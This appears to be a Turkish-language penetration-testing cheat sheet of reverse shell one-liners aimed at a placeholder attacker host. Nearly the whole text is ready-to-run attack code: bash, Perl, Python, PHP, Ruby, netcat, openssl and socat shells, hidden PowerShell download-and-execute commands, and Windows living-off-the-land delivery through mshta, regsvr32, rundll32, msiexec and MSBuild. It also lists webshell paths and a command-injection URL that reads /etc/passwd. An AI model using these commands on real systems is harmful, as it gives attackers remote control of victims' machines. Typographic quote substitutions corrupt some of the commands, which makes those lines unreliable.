Not: Bu yazının kapsamına, MSFvenom ile oluşturulan dosyalar, arka kapılar, harici uygulamalar dahil edilmemiştir.
Yazıda kullanılacak olan saldırgan makinenin (Sunucu_Saldirgan_IP) TCP&UDP 10443 portunun açılmış olduğu varsayılmaktadır.
nc -nlvp 10443
socat file:tty
,echo=0,raw udp-listen:10443
socat file:tty
,echo=0,raw tcp-listen:10443
socat TCP-LISTEN:10443,reuseaddr FILE:tty
,raw,echo=0
nc -u -l 10443
Kurban makinede çalışabilecek olan farklı yöntemdeki komutların listesi alt başlıklarda incelenecektir. Yöntemler ile ilgili bazı notlar aşağıdaki gibi sıralanabilir.
- Kullanılan bir çok yöntemde kurban makinenin Linux olduğu varsayılmıştır. Kabuk değeri değiştirilerek (/bin/sh –> cmd.exe) Windows sistemde çalışılabilecek şekilde de kullanılabilir.
- Linux sistemlerde ters bağlantı alırken, karşılaşılan sayılar (3,4,5,6 gibi) dosya tanımlayıcılarını (file descriptor) ifade eder. Dosya tanımlayıcıları ile ilgili ayrıntılı bilgi için kaynaklardaki WordPress bağlantısı incelenebilir.
- Kurban makinede “nc” yerine “/bin/nc.traditional” veya “/bin/nc.openbsd” tercih edilebilir.
- Kurban makinede (Solaris gibi) “term” komutunun PATH değişkeninde olmaması durumunda tam dosya yolu (/usr/openwin/bin/term) yazılmalıdır.
- GAPING_SECURITY_HOLE seçeneğinin devre dışı bırakıldığı sistemlerde “nc” aracı “-e” ile kullanılamamaktadır.
- Socat bağlantıları SSL ile şifrelenmiş trafiği, IPv6 ile iletişimi de destekler.
- Dosya yolları, saldırgana ait olan Kali dağıtımları içindir.
Bash
/bin/bash -i >& /dev/tcp/Sunucu_Saldirgan_IP/10443 0>&1
exec /bin/bash 0&0 2>&0
0<&196;exec 196<>/dev/tcp/Sunucu_Saldirgan_IP/10443; sh <&196 >&196 2>&196
exec 5<>/dev/tcp/Sunucu_Saldirgan_IP/10443
cat <&5 | while read line; do $line 2>&5 >&5; done
while read line 0<&5; do $line 2>&5 >&5; done
Perl (Linux)
perl -e ‘use Socket;$i=”Sunucu_Saldirgan_IP”;$p=10443;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’
“/bin/sh” gibi bir kabuğa bağımlılık istenmiyorsa;
perl -MIO -e ‘$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,”Sunucu_Saldirgan_IP:10443″);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’
Perl (Windows – Fork Olmadan)
perl -MIO -e ‘$c=new IO::Socket::INET(PeerAddr,”Sunucu_Saldirgan_IP:10443″);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’
Perl – Dosya
/usr/share/webshells/perl/perl-reverse-shell.pl
Perl – Dosya (Komut Enjeksiyonu)
/usr/share/webshells/perl/perlcmd.cgi
http://Kurban_IP/perlcmd.cgi?cat /etc/passwd
ColdFusion (Dosya)
/usr/share/webshells/cfm/cfexec.cfm
ASP (Dosya)
/usr/share/webshells/asp/
ASPX (Dosya)
/usr/share/webshells/aspx/
JSP (Dosya)
/usr/share/webshells/jsp/jsp-reverse.jsp
Python (TCP)
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“Sunucu_Saldirgan_IP”,10443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’
python -c “exec(\”import socket, subprocess;s = socket.socket();s.connect((‘Sunucu_Saldirgan_IP’,10443))\nwhile 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\”)”
Python (UDP)
import subprocess;subprocess.Popen([“python”, “-c”, ‘import os;import pty;import socket;s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM);s.connect((\”Sunucu_Saldirgan_IP\”, 10443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.putenv(\”HISTFILE\”,\”/dev/null\”);pty.spawn(\”/bin/sh\”);s.close()’])
Python (TCP / UDP / SCTP – Dosya)
https://github.com/infodox/python-pty-shells
PHP
php -r ‘$sock=fsockopen(“Sunucu_Saldirgan_IP”,10443);exec(“/bin/sh -i <&3 >&3 2>&3”);’
php -r ‘$sock=fsockopen(“Sunucu_Saldirgan_IP”,10443);shell_exec(“/bin/sh -i <&3 >&3 2>&3”);’
php -r ‘$sock=fsockopen(“Sunucu_Saldirgan_IP”,10443);/bin/sh -i <&3 >&3 2>&3
;’
php -r ‘$s=fsockopen(“Sunucu_Saldirgan_IP”,10443);system(“/bin/sh -i <&3 >&3 2>&3”);’
php -r ‘$s=fsockopen(“Sunucu_Saldirgan_IP”,10443);popen(“/bin/sh -i <&3 >&3 2>&3”, “r”);’
PHP Findsock (Dosya)
/usr/share/webshells/php/php-reverse-shell.php
PHP FindSock (Dosya – C ile Derlenerek)
/usr/share/webshells/php/php-findsock-shell.php
/usr/share/webshells/php/findsock.c
Python (Windows – Dosya)
https://github.com/Dhayalanb/windows-php-reverse-shell/blob/master/Reverse%20Shell.php
Ruby
ruby -rsocket -e’f=TCPSocket.open(“Sunucu_Saldirgan_IP”,10443).to_i;exec sprintf(“/bin/sh -i <&%d >&%d 2>&%d”,f,f,f)’
“/bin/sh” gibi bir kabuğa bağımlılık istenmiyorsa;
ruby -rsocket -e ‘exit if fork;c=TCPSocket.new(“Sunucu_Saldirgan_IP”,”10443″);while(cmd=c.gets);IO.popen(cmd,”r”){|io|c.print io.read}end’
Ruby (Windows – Fork Olmadan)
ruby -rsocket -e ‘c=TCPSocket.new(“Sunucu_Saldirgan_IP”,”10443″);while(cmd=c.gets);IO.popen(cmd,”r”){|io|c.print io.read}end’
Java
r = Runtime.getRuntime()
p = r.exec([“/bin/bash”,”-c”,”exec 5<>/dev/tcp/Sunucu_Saldirgan_IP/10443;cat <&5 | while read line; do \$line 2>&5 >&5; done”] as String[])
p.waitFor()
nc
nc -e /bin/sh Sunucu_Saldirgan_IP 10443
nc -c /bin/bash Sunucu_Saldirgan_IP 10443
“-e” seçeneği kullanılamıyorsa;
/bin/sh | nc Sunucu_Saldirgan_IP 10443
rm -f /tmp/p; mknod /tmp/p p && nc Sunucu_Saldirgan_IP 10443 0/tmp/p
rm -f /tmp/backpipe; mknod /tmp/backpipe p && nc Sunucu_Saldirgan_IP 10443 0</tmp/backpipe | /bin/bash 1>/tmp/backpipe
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc Sunucu_Saldirgan_IP 10443 >/tmp/f
Telnet
rm -f /tmp/p; mknod /tmp/p p && telnet Sunucu_Saldirgan_IP 10443 0/tmp/p
rm -f /tmp/backpipe; mknod /tmp/backpipe p && telnet Sunucu_Saldirgan_IP 10443 0</tmp/backpipe | /bin/bash 1>/tmp/backpipe
Saldırganın dinlediği birinci porttan (TCP\20443 –> nc -nlvp 20443) komut girmek; ikinci porttan (TCP\10443 –> nc -nlvp 10443) ise çalıştırılan komutun çıktısını görmek isteniyorsa;
telnet Sunucu_Saldirgan_IP 20443 | /bin/bash | telnet Sunucu_Saldirgan_IP 10443
Xterm
Kali’de dinleyicinin başlatılır;
Xnest :1
xterm -display 127.0.0.1:1
Kali’de kurban IP’ye bağlanılması için izin verilmelidir
xhost +KurbanIP
Sonrasında bağlantı yakalanabilir.
xterm -display Sunucu_Saldirgan_IP:1
DISPLAY=Sunucu_Saldirgan_IP:0 xterm
Openssl (Linux)
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect Sunucu_Saldirgan_IP:10443 > /tmp/s; rm /tmp/s
Sonrasında sertifika oluşturulan sunucu tarafında bağlantı yakalanabilir.
openssl req -x509 -newkey rsa:4096 -keyout GizliAnahtar.pem -out Sertifika.pem -days 365 -nodes
openssl s_server -quiet -key GizliAnahtar.pem -cert Sertifika.pem -port 10443
Powershell (Windows)
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient(“Sunucu_Saldirgan_IP”,10443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + “PS ” + (pwd).Path + “> “;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
powershell -c “IEX(New-Object System.Net.WebClient).DownloadString(‘http://Sunucu_Saldirgan_IP:10443/besimorhino-powercat.ps1’);powercat -c Sunucu_Saldirgan_IP -p 1234 -e cmd”
powershell IEX(New-Object Net.WebClient).downloadString(‘http://Sunucu_Saldirgan_IP:10443/Invoke-PowerShellTcp.ps1’)
Not: Bu komutları doğrudan çalıştırmak yerine, bir dosyaya yazarak çıkan ifadeler de çalıştırılabilir.
iconv -f ASCII -t UTF-16LE PowershellKomutEnjeksiyonu.txt | base64 | tr -d “\n”
Powershell (Dosya)
/usr/share/powersploit/CodeExecution/Invoke-Shellcode.ps1
VBS
powershell.exe -c “(New-Object System.NET.WebClient).DownloadFile(‘http://Sunucu_Saldirgan_IP:10443/1.vbs’,\”$env:temp\test.vbs\”);Start-Process %windir%\system32\cscript.exe \”$env:temp\test.vbs\””
Plink
plink.exe -ssh root@Sunucu_Saldirgan_IP -P 10443
Socat
socat tcp-connect:Sunucu_Saldirgan_IP:10443 exec:”bash -li”,pty,stderr,setsid,sigint,sane
socat tcp4:Sunucu_Saldirgan_IP:10443 EXEC:bash,pty,stderr,setsid,sigint,sane
TCL
echo ‘set s [socket Sunucu_Saldirgan_IP 10443];while 42 { puts -nonewline $s “shell>”;flush $s;gets $s c;set e “exec $c”;if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;’ | tclsh
GWAK
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
BEGIN { Port = 8080 Prompt = "bkd> " Service = "/inet/tcp/" Port "/0/0" while (1) { do { printf Prompt |& Service Service |& getline cmd if (cmd) { while ((cmd |& getline) > 0) print $0 |& Service close(cmd) } } while (cmd != "exit") close(Service) } } |
HTML Application Host (Wİndows)
Kali – MSF: exploit/windows/misc/hta_server (SRVHOST, LHOST)
Kurban: mshta.exe http://Sunucu_Saldirgan_IP:10443/RastgeleKarakterler.hta
RunDll32.exe (Windows)
Kali – MSF: exploit/windows/smb/smb_delivery
Kurban: rundll32.exe \\Sunucu_Saldirgan_IP:10443/RastgeleKarakterler\test.dll,0
Regsvr32.exe (Windows)
Kali – MSF: exploit/multi/script/web_delivery (LHOST, SRVHOST)
Kurban: regsvr32 /s /n /u /i:http://Sunucu_Saldirgan_IP:10443/RastgeleKarakterler.sct scrobj.dll
MSI (Windows)
Kali – MSF: msfvenom -p windows/meterpreter/reverse_tcp LHOST=Sunucu_Saldirgan_IP LPORT=10443 -f msi > Dosya.msi
Kurban: msiexec /q /i http://Sunucu_Saldirgan_IP:10443/Dosya.msi
XML (Windows)
Kali: https://github.com/trustedsec/nps_payload
Kurban: C:\Windows\Microsoft.Net\Framework\v4.0.30319\MSBuild.exe Dosya_NPS.xml
Kaynak:
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
https://highon.coffee/blog/reverse-shell-cheat-sheet/
http://www.codemania.it/2018/05/04/reverse-shell-cheat-sheet/
https://www.lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/
Sistem Programlama-2 open() close()
https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/